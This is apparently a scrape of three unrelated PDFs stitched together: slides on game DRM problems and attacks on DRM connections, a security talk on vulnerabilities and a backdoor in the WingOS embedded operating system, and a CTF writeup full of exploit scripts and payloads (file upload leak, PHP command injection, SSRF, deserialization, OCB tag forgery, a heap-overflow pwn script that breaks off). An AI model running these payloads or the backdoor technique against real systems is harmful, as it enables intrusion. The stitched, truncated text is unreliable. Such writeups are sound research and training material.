tool (3x)  “Phones home” ◦ September 2008  "Most pirated Game ever”  Available on BitTorrent before release  downloaded >500,000 times  90% 1-Star ratings on Amazon  DRM binaries remain on disc after uninstall ◦ December 2008  Uninstall tool released ◦ TAGES DRM  Requires online registration on install  Installation limit (5x) ◦ December 2009  Servers overwhelmed by Steam sale  Most legal installations fail during the holidays ◦ “Ubisoft DRM”  Requires permanent network connection  Reset to checkpoint on disconnect  Tied to user account  Stores saved games in the cloud ◦ March 2010  Authentication server failures  10+hrs offline  Single player users locked out  “95% of players were not affected”  Cloud saves often fail  Patched quickly  Resume gameplay after connection is restored  Local saves are allowed ◦ “Ubisoft DRM”  Requires permanent network connection  Tied to user account  Stores saved games in the cloud ◦ April 2010  Authentication server failures  Players unable to run game  50,000 posts in forum  MP reported nearly unplayable  Patched with little effect ◦ June 2010  Australian players locked out at release time  Futile Attempts ◦ Games will continue being cracked  Persistent connection to Ubisoft DRM server ◦ Port 80 (tunneling possible), TCP, encrypted ◦ Required for single player ◦ Failure when connection interrupted  High drop rate can be an issue  Unreliable routers  Able to track all game usage ◦ Especially on wireless networks •Social Network •“Achievements” •Game History •Content Delivery •Payment •Built-in content protection ◦ Still intended to monitor proper usage  …but be social too ◦ In terms of privacy:  All from before  User account information  Personal Information (address, DOB (!), …)  Payment information  Need to pay for this somehow…  Purchase history  Wishlist  Friend network •Social Network •“Achievements” •Game History •Content Delivery •Payment •Built-in content protection  “Achievements”/”Badges”  Game history  Gaming behavior profile  MP vs. SP  Casual vs. hardcore  Online Time  Gaming location  …  Facebook integration  All other data not previously accessible  Pictures  Exposes a bit too much information?  Account needed for install ◦ Naturally necessary World of Warcraft ◦ Now for other games  StarCraft II  Diablo III ◦ Was also considered for official forum posts  Not needed for single player ◦ But: “…you don't get access a lot of the stuff."  Let’s walk through the sign-up…  Network connection can be limited ◦ Anti-Virus and Firewalls can interfere ◦ Connection bandwidth too small ◦ Connection not reliable enough  Can be directly attacked ◦ Local network traffic saturation ◦ Wireless traffic injection/interference ◦ Server DDoS attack  See Ubisoft DDoS attack (March 2010)  Registration keys are vulnerable ◦ Steal registration key and post publicly ◦ Worse: Key generator could generate valid key  Both lead to perma-ban (how to fight?)  Accounts are vulnerable too ◦ Passwords can be guessed  Security is improving  WoW players have become paranoid ◦ Reset questions can be guessed  You linked to your Facebook profile, remember? ◦ Can initiate false “my account has been compromised”  Will be painful… ◦ Accounts can be compromised at the provider’s side  Not publicly admitted  Local Method: ◦ Saturate wireless network router/inject packets  Router failure is only a matter of time ◦ Wireless dissasociation attack  Resets connection at the wireless layer  Remote Method: ◦ Dump traffic on remote target  Reduces bandwidth, router failure is likely ◦ TCP reset attack  Resets connection at the TCP layer ◦ SSL replay reset attack  Resets connection at the SSL layer  configuration dependent  Ultimate result:  Quick answer: ◦ Free stuff is always good  It is more complex: ◦ DRM can be a severe nuisance  Cracked games are often easier to use  Might not be able to play when I really want ◦ Privacy/Policy concerns  This is making a lot of gamers worry… ◦ What to do if DRM servers go offline for good?  Gamers like to play old games  Vintage gaming & emulators
pdf
1" Breaking WingOS Josep Pi Rodriguez Senior Security Consultant [email protected] IOActive, Inc. Copyright ©2018. All Rights Reserved. Agenda •  Intro to WingOS •  Scenarios & Attack surface •  Vulnerabilities •  Exploitation & Demo •  Conclusions IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS •  Embedded Linux OS with proprietary modifications in Kernel •  Created by Motorola. Now property of Extreme networks •  Architecture Mips N32 •  Used mainly in Wireless AP and Controllers •  No public information or previous research about its internals IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS •  Web interface. IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS •  CLI. IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS •  Devices using WingOS (Extreme networks): IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS •  Devices using WingOS: •  Motorola devices and Zebra devices IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS •  Devices using WingOS: IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS •  Devices using WingOS (Kontron for aircrafts): IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS •  Where you can find these devices? - Widely used in aircrafts by many airlines around the world IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS https://techworld.idg.se/2.2524/1.644569/wifi-flygplan/sida/2/sida-2 IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS EN website and case studies you can see that these devices are used in: - Smart buildings and Smart cities -  Healthcare -  Government -  Small and big enterprise networks -  Education -  Retail, Stadiums -  … IOActive, Inc. Copyright ©2018. All Rights Reserved. https://transitwireless.com/wp-content/uploads/2016/04/Motorola-Case-Study-New-York-City-Transit.pdf IOActive, Inc. Copyright ©2018. All Rights Reserved. IOActive, Inc. Copyright ©2018. All Rights Reserved. IOActive, Inc. Copyright ©2018. All Rights Reserved. IOActive, Inc. Copyright ©2018. All Rights Reserved. IOActive, Inc. Copyright ©2018. All Rights Reserved. IOActive, Inc. Copyright ©2018. All Rights Reserved. IOActive, Inc. Copyright ©2018. All Rights Reserved. IOActive, Inc. Copyright ©2018. All Rights Reserved. IOActive, Inc. Copyright ©2018. All Rights Reserved. Attack Surface & Scenarios 1.  Aircraft Scenario: Focused in the remote pre-auth vulnerabilities found •  Ethernet cable: - Less likely in an Aircraft - UDP Services/ Mint Services •  Wi-Fi ( open Wi-Fi or password protected Wi-Fi) •  Pivoting from Sat modem to AP (From the ground!) IOActive, Inc. Copyright ©2018. All Rights Reserved. Attack Surface & Scenarios Ruben Santamarta Last call for satcom security https://www.blackhat.com/us-18/briefings.html#last-call-for-satcom-security IOActive, Inc. Copyright ©2018. All Rights Reserved. Attack Surface & Scenarios IOActive, Inc. Copyright ©2018. All Rights Reserved. Attack Surface & Scenarios 2. Other scenarios: Focused in the remote pre-auth vulnerabilities found •  Connect Ethernet cable directly: -  More likely with outdoor Access Points but also possible inside buildings •  Wi-Fi ( open Wi-Fi or password protected Wi-Fi) •  Internal network (you are inside the network) IOActive, Inc. Copyright ©2018. All Rights Reserved. Vulnerabilities Hidden root shell backdoor •  From restricted CLI to hidden root shell •  Attacker perspective. CLI access: Good, Root shell: completely compromised •  Not critical vuln but very important for the research process IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor Default value in every WingOS IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor The content of the file is passed to the Following loop Let’s emulate this loop with Unicorn Unicorn uses Qemu in the background and allows You to emulate assembly code for several archs IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor Basically, the content of the file are hex bytes (in ascii) IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor Decrypts (RC4) the contents of the file (as hex bytes) with the key “Hi Sabeena? How’re you doin’? Bye!!” In this case, the decryption result of the file is the string “password” IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor Get the MAC addr of the device And does the following operation with MAC: XX:XX+1:XX+2:XX+3:XX+4:XX+5 IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor RC4 decrypt “password” with the key XX:XX+1:XX+2:XX+3:XX+4:XX+5 IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor This last block will make sure that the valid password calculated, will contain only lower-case letters. IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor Different password next time you try to get shell If password granted: IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote pre-auth stack overflow UDP service listening on 0.0.0.0 by default RIM process (Radio Interface Module) IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote pre-auth stack overflow IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote pre-auth stack overflow IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote pre-auth stack overflow •  Only some old versions vulnerable to this stack overflow(Let’s see why in a minute). •  Kontron devices (aircrafts) firmware should be vulnerable based on info in their website. IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote pre-auth “global” denial of service Newest firmware version, stack overflow fixed. But… IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote pre-auth “global” denial of service IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote pre-auth “global” denial of service Execute the same POC 2 o 3 times killing the RIM process several times and the whole OS will be rebooted Watchdog checks if RIM process is running, if not, the whole OS is rebooted. IOActive, Inc. Copyright ©2018. All Rights Reserved. Mint Vulnerabilities Domain 0x32? Local_mint_addr? Lots of recvfrom in binaries IOActive, Inc. Copyright ©2018. All Rights Reserved. What is Mint? No much info on the internet L2/L3 proprietary protocol Level 1 VLAN Level 2 IP IOActive, Inc. Copyright ©2018. All Rights Reserved. Mint L2/L3 proprietary protocol Proprietary socket address family (AF_MINT) (sys/socket.c sys/socket.h) Datagram socket 1.  Reverse engineer their kernel to mimic this L2/L3 protocol and build a client 2.  Try to emulate the whole OS/Kernel (Probable, but might be painful) 3.  Find a way to build a client using their OS kernel IOActive, Inc. Copyright ©2018. All Rights Reserved. Mint Attack scenarios using Mint: •  Attacker connects its device to the network or directly to the target Device (Wireless or Cable) •  Attacker remotely compromises a device connected to the network •  Attack services/AP/Controllers over Mint services •  Controllers == Windows DC IOActive, Inc. Copyright ©2018. All Rights Reserved. Creating Mint Client: Mint client: Inspecting their library usr/lib/python2.7/lib-dynload/_socket.so : We should be able to import socket and create Mint sockets. IOActive, Inc. Copyright ©2018. All Rights Reserved. Mint Default config of controller Standalone AP can also be configured as Controller IOActive, Inc. Copyright ©2018. All Rights Reserved. Mint Attacker’s device. I want to connect over mint to the Controller(victim) Now, Controller (victim) sees attacker over mint And attacker can also connecter over mint to Controller (victim) IOActive, Inc. Copyright ©2018. All Rights Reserved. Mint Vulnerabilities Services listening on several ports over L2/L3 protocol Example of function parsing messages over 1 specific port (HSD process): IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote Pre-auth heap overflow (mint) Memcpy’s src and len user-controlled, dst is heap. Totally controllable: HSD process, Mint port 14 IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote Pre-auth heap overflow (mint) To reach that memcpy in the switch case statement we have to: First go to case0 of switch statement and we got a restriction Get_session_by_mac check if the MAC sent in our payload is authenticated IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote Pre-auth heap overflow (mint) To reach that memcpy in the switch case statement we have to: Luckily we can add a fake MAC to the authenticated list Another case for the switch case statement allow us that: IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote Pre-auth heap overflow (mint) To reach that memcpy in the switch case statement we have to send this: First, session alloc for our Fake MAC addr IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote Pre-auth heap overflow (mint) To reach that memcpy in the switch case statement we have to send this: And now we can reach the vulnerable memcpy IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote Pre-auth heap overflow (mint) Crash: /root # gdb (gdb) attach 1765 Attaching to process 1765 Reading symbols from /usr/sbin/hsd...(no debugging symbols found)...done. (gdb) c Continuing. Program received signal SIGABRT, Aborted. 0x2af26624 in raise () from /lib/libc.so.6 (gdb) bt #0 0x2af26624 in raise () from /lib/libc.so.6 #1 0x2af28108 in abort () from /lib/libc.so.6 #2 0x2af645b0 in __fsetlocking () from /lib/libc.so.6 #3 0x2af6b620 in malloc_usable_size () from /lib/libc.so.6 IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote Pre-auth heap overflow 2 (mint) Another Memcpy’s src and len user-controlled, dst is heap. Totally controllable: HSD process, Mint port 14 IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote Pre-auth heap overflow 2 (mint) Another Memcpy’s src and len user-controlled, dst is heap. Totally controllable: HSD process, Mint port 14 /root # gdb (gdb) attach 4820 Attaching to process 4820 Reading symbols from /usr/sbin/hsd...(no debugging symbols found)...done. (gdb) c Continuing. Program received signal SIGABRT, Aborted. 0x2af26624 in raise () from /lib/libc.so.6 (gdb) bt #0 0x2af26624 in raise () from /lib/libc.so.6 #1 0x2af28108 in abort () from /lib/libc.so.6 #2 0x2af645b0 in __fsetlocking () from /lib/libc.so.6 #3 0x2af6b620 in malloc_usable_size () from /lib/libc.so.6 IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote Pre-auth stack overflow (mint) Stack overflow where user data comes from the previous memcpy vuln. To overflow the Stack the Heap buffer has to be overflowed as well: IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote Pre-auth stack overflow (mint) IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote Pre-auth stack overflow (mint) IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote Pre-auth stack overflow (mint) LIBC sanity checks can make it crash before the stack overflow happens In this case is not a problem as it won’t crash if we trigger the stack overflow “quickly” IOActive, Inc. Copyright ©2018. All Rights Reserved. EXPLOIT •  NO ASLR, NO NX, NO STACK CANARIES.. •  Just jump to our shellcode? Nope •  Cache incoherence problem (well known): •  MIPS CPU I-Cache D-Cache Instructions, Data •  Our payload likely will be stored in the D-Cache IOActive, Inc. Copyright ©2018. All Rights Reserved. EXPLOIT IOActive, Inc. Copyright ©2018. All Rights Reserved. EXPLOIT •  FILL THE D-CACHE TO FLUSH IT (Depends on how big it is) •  Call a blocking function such as Sleep( ) using ROP •  The cache will be flushed IOActive, Inc. Copyright ©2018. All Rights Reserved. EXPLOIT ROP: From the epilogue we know the registers that we control at the crash time IOActive, Inc. Copyright ©2018. All Rights Reserved. LIBC GADGETS IOActive, Inc. Copyright ©2018. All Rights Reserved. SHELLCODE IOActive, Inc. Copyright ©2018. All Rights Reserved. SHELLCODE IOActive, Inc. Copyright ©2018. All Rights Reserved. SHELLCODE MIPS N32: IOActive, Inc. Copyright ©2018. All Rights Reserved. SHELLCODE MIPS N32: IOActive, Inc. Copyright ©2018. All Rights Reserved. SHELLCODE MIPS N32 Shellcode: IOActive, Inc. Copyright ©2018. All Rights Reserved. EXPLOIT IOActive, Inc. Copyright ©2018. All Rights Reserved. DEMO IOActive, Inc. Copyright ©2018. All Rights Reserved. EXPLOIT 1.  Use your own device (or use compromised one). 2.  Add our Fake MAC addr to the auth list 3.  Overflow the heap with our ROP Gadgets and Shellcode 4.  Stack overflow with the Heap data. 5.  BANG! IOActive, Inc. Copyright ©2018. All Rights Reserved. AEROSCOUT VULNERABILITY IOActive, Inc. Copyright ©2018. All Rights Reserved. AEROSCOUT VULNERABILITY IOActive, Inc. Copyright ©2018. All Rights Reserved. AEROSCOUT VULNERABILITY UDP 1144 IOActive, Inc. Copyright ©2018. All Rights Reserved. AEROSCOUT VULNERABILITY •  No Authentication at all •  Once reverse engineered the protocol, you can mess with locations IOActive, Inc. Copyright ©2018. All Rights Reserved. Conclusion •  Patches provided by extreme networks: https://gtacknowledge.extremenetworks.com/articles/Vulnerability_Notice/VN-2018-003 IOActive, Inc. Copyright ©2018. All Rights Reserved. Conclusions •  Lot of room for improvement in WingOS •  There are more vulnerabilities in the OS •  Hopefully, with this lessons learned, most of them will be fixed proactively? 87 Any questions? Thank You! [email protected] [email protected]
pdf
津⻔杯Writeup - Nu1L 津⻔杯Writeup - Nu1L Web UploadHub hate_php GoOSS power_cut RE GoodRE easyRe Crypto 混合编码 justOCB rsa Pwn pwnme PwnCTFM no1 easypwn Misc m1bmp m0usb Mobile hellehellokey Web UploadHub hate_php import requests import string import hashlib ip = requests.get('http://118.24.185.108/ip.php').text print(ip) def check(a): f = ''' <If "file('/flag')=~ /'''+a+'''/"> ErrorDocument 404 "wupco" </If> ''' resp = requests.post("http://122.112.248.222:20003/index.php?id=167", data={'submit': 'submit'}, files={'file': ('.htaccess',f)} ) a = requests.get("http://122.112.248.222:20003/upload/"+ip+"/a").text if "wupco" not in a: return False else: return True flag = "flag{BN" c = string.ascii_letters + string.digits + "\{\}" for j in range(32): for i in c: print("checking: "+ flag+i) if check(flag+i): flag = flag+i print(flag) break else: continue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 http://122.112.214.101:20004/?code=?><?=`/???/???%20/????`; 1 GoOSS 按照下⾯这个payload就可以302跳转出去了,再利⽤302跳转到127.0.0.1:80/index.php即可任意⽂件读 取,获取flag {"url": " http://127.0.0.1:1234 \u002f/test.d7cb7b72.y7z.xyz/../../813d620e0a68533883f897c4e03cf17c"} power_cut RE GoodRE TEA加密 http://119.3.128.126:32800/? log=O%3A6%3A%22weblog%22%3A1%3A%7Bs%3A10%3A%22weblogfile%22%3Bs%3A5%3A%22%2F flflagag%22%3B%7D 1 import sys from ctypes import * from pwn import * def encipher(v, k): y = c_uint32(v[0]) z = c_uint32(v[1]) sum = c_uint32(0) delta = 0x9e3779b9 n = 32 w = [0,0] while(n>0): sum.value += delta y.value += ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1] z.value += ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3] n -= 1 w[0] = y.value w[1] = z.value return w 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 easyRe 算法: def decipher(v, k): y = c_uint32(v[0]) z = c_uint32(v[1]) sum = c_uint32(0xc6ef3720) delta = 0x9e3779b9 n = 32 w = [0,0] while(n>0): z.value -= ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3] y.value -= ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1] sum.value -= delta n -= 1 w[0] = y.value w[1] = z.value return w def get_dec(v): key = [0x11] * 4 s = decipher(v,key) res = '' for i in s: res += p32(i)[::-1].encode('hex').upper() return res if __name__ == "__main__": # v = [0x79AE1A3B,0x596080D3] print(get_dec([0x79AE1A3B,0x596080D3])) print(get_dec([0x80E03E80,0x846C8D73])) print(get_dec([0x21A01CF7,0xC7CACA32])) print(get_dec([0x45F9AC14,0xC5F5F22F])) 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 枚举seed,得到seed为151 Crypto 混合编码 seed = ~(53 * (2 * f[6] + f[15] + 3 * f[29])) & 0xFFF for i in range(33): s[i] = (0x1ED0675 * seed + 0x6C1) % 0xFE seed = s[i] for i in range(32): for j in range(33): output[i + j] = (output[i + j] + (f[i] ^ s[j])) ^ 5977654 1 2 3 4 5 6 7 8 seed = 151 magic = 5977654 s = [] for i in range(33): tmp = (0x1ED0675 * seed + 0x6C1) % 0xFE s.append(tmp) seed = tmp flag = [0 for i in range(32)] flag[0] = output[0] ^ magic ^ s[0] for k in range(1,32): last = 0 for i in range(len(bbb[k])-1): last = (last + (flag[ bbb[k][i][0] ] ^ s[ bbb[k][i][1] ])) ^ magic flag[ k ] = ((output[k] ^ magic) - last) ^ s[ bbb[k][-1][1] ] for i in flag[:32]: print(chr(i&0xff),end='') 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 justOCB ciphertext, tag = encrypt("I_am_admin_plz_give_me_the_flag", "From user") 想要getflag,唯⼀的区别是associate_data导致的Auth不同,Auth = pmac(associate_data) 只要能构造new_tag = tag ^ pmac("From user") ^ pmac("From admin")就⾏ import base64 s = (base64.b64decode('JTJGMTAyJTJGMTA4JTJGOTclMkYxMDMlMkYxMjMlMkYxMTMlMkY0OSUyR jEyMCUyRjc1JTJGMTEyJTJGMTA5JTJGNTYlMkYxMTglMkY3MyUyRjc2JTJGODclMkYxMTQlMkYxM DclMkYxMDklMkY4OCUyRjEyMCUyRjg2JTJGNTQlMkYxMDYlMkY0OSUyRjQ5JTJGNzclMkYxMDAlM kY5OSUyRjcxJTJGMTE2JTJGNzYlMkYxMjIlMkYxMTglMkY4MiUyRjEyMSUyRjg2JTJGMTI1')) print(''.join(map(lambda x:chr(int(x)), s.split(b'%2F')[1:]))) 1 2 3 nonce可以复⽤ 需要能够对于任意的msg,可以得到aes.encrypt(msg),实现任意明⽂加密 需要知道Δ,为此考虑: m1 = len,可以得到c1 = m1 ^ aes.encrypt(len ^ Δ) m1 = len, m2 = b"\x00"*16,可以得到c1' = Δ ^ aes.encrypt(len ^ Δ) 因此Δ = c1' ^ len ^ c1 有了Δ后,构造m1 = msg ^ Δ,可以得到c1 = Δ ^ aes.encrypt(msg),即aes.encrypt(msg) = c1 ^ Δ,实现任 意明⽂加密 回到pmac中,对b"\x00"*16加密,以及对final_xor加密即可得到“From admin"和"From user"的Auth,进⽽ 计算出相应的tag def pmac(data): offset = aes.encrypt(b"\x00"*16) offset = times3(offset) offset = times3(offset) offset = times2(offset) data += long_to_bytes(int('10000...00', 2)) # 补⻬到16 offset = times3(offset) offset = times3(offset) final_xor = xor(offset, data) return aes.encrypt(final_xor) 1 2 3 4 5 6 7 8 9 10 11 12 13 import math from hashlib import sha256 from itertools import product from pwn import * # context.log_level = 'debug' conn = remote("122.112.199.24", 9999) # conn = remote("127.0.0.1", 9999) def proof_of_work(): s = string.ascii_letters + string.digits rec = conn.recvline().decode() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0] digest = re.findall(r'== (.*?)\n', rec)[0] print(f"suffix: {suffix} \ndigest: {digest}") print('Calculating hash...') for i in product(s, repeat=4): prefix = ''.join(i) guess = prefix + suffix if sha256(guess.encode()).hexdigest() == digest: print(guess) break conn.sendlineafter(b'Give me XXXX:', prefix.encode()) def choice1(msg): nonce = bytearray([0]*16) conn.recvuntil(b"Your choice:") conn.sendline(b"1") conn.sendlineafter(b"Your nonce:", nonce.hex().encode()) conn.sendlineafter(b"Your message:", msg.hex().encode()) conn.recvuntil(b"Your ciphertext:",) cipher = bytes.fromhex(conn.recvline().strip().decode()) conn.recvuntil(b"Your tag:",) tag = bytes.fromhex(conn.recvline().strip().decode()) return tag, cipher def choice2(tag, cipher): nonce = bytearray([0]*16) conn.recvuntil(b"Your choice:") conn.sendline(b"2") conn.sendlineafter(b"Your nonce:", nonce.hex().encode()) conn.sendlineafter(b"Your ciphertext:", cipher.hex().encode()) conn.sendlineafter(b"Your tag:", tag.hex().encode()) conn.interactive() def xor(a,b): return bytearray(x^y for x,y in zip(a,b)) def times2(input_data): blocksize = 16 assert len(input_data) == blocksize 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 # set carry = high bit of src output = bytearray(blocksize) carry = input_data[0] >> 7 # either 0 or 1 for i in range(len(input_data) - 1): output[i] = ((input_data[i] << 1) | (input_data[i + 1] >> 7)) % 256 output[-1] = ((input_data[-1] << 1) ^ (carry * 0x87)) % 256 assert len(output) == blocksize return output def times3(input_data): assert len(input_data) == 16 output = times2(input_data) output = xor(output, input_data) assert len(output) == 16 return output def aes_encrypt(msg, delta): m1 = xor(msg+bytearray([0]*16), delta) _, c1 = choice1(m1) return xor(c1[:16], delta) def aes_encrypt2(m1, m2, delta): msg = xor(m1, delta) + xor(m2, times2(delta)) + bytearray([0]*16) _, cipher = choice1(msg) c1 = xor(cipher[:16], delta) c2 = xor(cipher[16:32], times2(delta)) return c1, c2 def cal_delta(): _len = bytearray([0]*15 + [16*8]) _, c1 = choice1(_len) _, c11 = choice1(_len + bytearray([0]*16)) c11 = c11[:16] delta = xor(xor(c11, _len), c1) return delta def cal_final_xor(header, delta): blocksize = 16 m = 1 offset = delta # delta = times2(offset),减少⼀次 choice1的交互次数 offset = times3(offset) offset = times3(offset) 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 checksum = bytearray(blocksize) # check if full block H_m = header[((m - 1) * blocksize):] assert len(H_m) <= blocksize if len(H_m) == blocksize: # complete last block # this is only possible if m is 1 offset = times3(offset) checksum = xor(checksum, H_m) else: # incomplete last block # pad with separator binary 1 # then pad with zeros until full block H_m.append(int('10000000', 2)) while len(H_m) < blocksize: H_m.append(0) assert len(H_m) == blocksize checksum = xor(checksum, H_m) offset = times3(offset) offset = times3(offset) # Compute PMAC result final_xor = xor(offset, checksum) return final_xor def main(): proof_of_work() # conn.interactive() delta = cal_delta() log.info(f"delta: {delta}") # ----------------------------------- from_user = bytearray(b"From user") from_admin = bytearray(b"From admin") final_xor_user = cal_final_xor(from_user, delta) final_xor_admin = cal_final_xor(from_admin, delta) auth_user, auth_admin = aes_encrypt2(final_xor_user, final_xor_admin, delta) log.info(f"auth_user: {auth_user}") log.info(f"auth_admin: {auth_admin}") # --------------------------------------- tag, cipher = choice1(bytearray(b"I_am_admin_plz_give_me_the_flag")) 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 Your flag: flag{2105fde8-5ba4-4fa9-a5cb-a1af5427ec4e} rsa Wiener Attack new_tag = xor(xor(tag, auth_user), auth_admin) log.info(f"cipher: {cipher}\ntag: {tag}\nnew_tag: {new_tag}") choice2(new_tag, cipher) if __name__ == "__main__": main() 150 151 152 153 154 155 156 import math from Crypto.Util.number import long_to_bytes def recover(e,N): cf = continued_fraction(e/N).convergents() G.<x> = ZZ['x'] for index, k in enumerate(cf[1:]): d0 = k.denominator() k = k.numerator() if k != 0 and (e * d0 - 1) % k == 0: phi = (e*d0 - 1) //k s = (N-phi+1) f = x^2 - s*x + N b = f.discriminant() if b > 0 and b.is_square(): d = d0 roots = list(zip(*f.roots()))[0] if len(roots) == 2 and prod(roots) == N: print("[x] Recovered! \nd = %0x" %d) return d else: continue print("[] Could not determine the value of d with the parameters given. Make sure that d < 1/3 * N ^ 0.25") return -1 def wiener(c,e,N): 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 Pwn pwnme d = recover(e,N) return Integer(pow(c,d,N)) def test(): c=587037942022177089472842410257313474001802470759682001212270514345882740 432737997244841834110728371365058488533131004681192775111442351716543130357 766164549603339990394524919211448410807789600411998848233687754006037139821 378079910481337944520609512518511838500000910364629779491223450669923082925 74341196418 e=119393861845960762048898683511487799317851579948448252137466961581627352 921253771151013287722073113635185303441785456596647011121862839187775715967 164165508224247084850825422778997956746102517068390036859477146822952441831 345548850161988935112627527366840944972449468661697184646139623527967901314 485800416727 n=143197135363873763765271313889482832065495214476988244056602939316096558 604072987605784826977177132590941852043292009336108553058140643889603639640 376907419560005800390316898478577088950660088975625569277320455499051275696 998681590010122458979436183639691126624402025651761740265817600604313205276 368201637427 m = wiener(c,e,n) print(long_to_bytes(m)) test() 30 31 32 33 34 35 36 37 38 39 这边的size可以是负数,enc_off 也能是负数。 但负数这边memcpy会崩 当第⼆个dec_off == last_dec_off时可以绕过检查 越界写 POC: from pwn import * p = process('./loader') def getf(sec,dec_off,size,enc_off): re = (p16(0x5a4d).ljust(0x3c,'\x00')+p32(0x50)).ljust(0x50,'\x00')#header re += (p32(0x4550)+p16(0x14c)+p32(sec)).ljust(0xf8,'\x00')#info re += p64(0)+p32(0)+p32(dec_off)+p32(size)+p32(enc_off)+p64(0)*2#enc_buf return re def addenc(dec_off,size,enc_off): return p64(0)+p32(0)+p32(dec_off)+p32(size)+p32(enc_off)+p64(0)*2#enc_buf def load(idx,name,size,data): p.recvuntil('>>') p.sendline('1') p.recvuntil('index') p.sendline(str(idx)) p.recvuntil('name') p.send(name) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('data') p.send(data) def dele(idx): 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 p.recvuntil('>>') p.sendline('5') p.recvuntil('index') p.sendline(str(idx)) a = getf(1,0xfffffffe,0x1,0x10) la = len(a) #print la load(0,'aaa\n',la,a) a = getf(1,0,0x170,0) la = len(a) print la load(1,'bbb\n',la,a) a = getf(1,0,0x170,0) la = len(a) print la load(2,'ccc\n',la,a) a = getf(1,0,0x170,0) la = len(a) print la load(3,'bbb\n',la,a) dele(1) dele(2) dele(3) a = getf(1,0,0x50,0) la = len(a) print la load(1,'bbb\n',la,a) a = getf(1,0,0x50,0) la = len(a) print la load(2,'ccc\n',la,a) a = getf(1,0,0x50,0) la = len(a) print la load(3,'bbb\n',la,a) dele(1) dele(2) 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 dele(3) a = getf(1,0,0x50,0) la = len(a) print la load(1,'ccc\n',la,a) a = getf(2,0,0x50,0)+addenc(0,0xa0,0) la = len(a) print la load(2,'xxx\n',la,a)#overflow p.interactive() 70 71 72 73 74 75 76 77 78 79 80 81 82 #coding=utf-8 from pwn import * from docker_debug import * #context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' context.aslr = False debug_env = DockerDebug('ubuntu-1604') process = debug_env.process attach = debug_env.attach def my_load(p, idx, name, size, data): p.recvuntil('>> ') p.sendline('1') p.recvuntil('index: ') p.sendline(str(idx)) p.recvuntil('name: ') p.send(name) p.recvuntil('size: ') p.sendline(str(size)) p.recvuntil('data: ') p.send(data) def delete(p, idx): p.recvuntil('>> ') p.sendline('5') p.recvuntil('index: ') 